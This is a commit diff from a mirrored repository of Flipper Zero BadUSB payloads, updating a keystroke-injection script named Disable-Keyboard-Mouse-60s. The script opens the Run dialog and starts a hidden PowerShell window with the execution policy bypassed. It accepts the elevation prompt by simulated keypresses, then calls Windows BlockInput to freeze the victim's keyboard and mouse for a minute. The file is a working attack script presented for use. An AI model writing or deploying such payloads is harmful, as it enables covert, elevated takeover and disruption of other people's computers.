mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2026-01-09 11:45:04 -08:00
Update Disable-Keyboard-Mouse-60s.txt
This commit is contained in:
@@ -18,11 +18,11 @@ GUI r
|
||||
DELAY 750
|
||||
STRING powershell -NoP -NonI -W Hidden -Exec Bypass
|
||||
CTRL-SHIFT ENTER
|
||||
DELAY 1500
|
||||
DELAY 2500
|
||||
ALT y
|
||||
DELAY 5000
|
||||
|
||||
REM write out the main Powershell code.
|
||||
STRING $s = '[DllImport("user32.dll")][return: MarshalAs(UnmanagedType.Bool)]public static extern bool BlockInput(bool fBlockIt);'
|
||||
STRING ;Add-Type -M $s -Name U -Names W;[W.U]::BlockInput($true);sleep 60;[W.U]::BlockInput($false)
|
||||
ENTER
|
||||
ENTER
|
||||
|
||||
Reference in New Issue
Block a user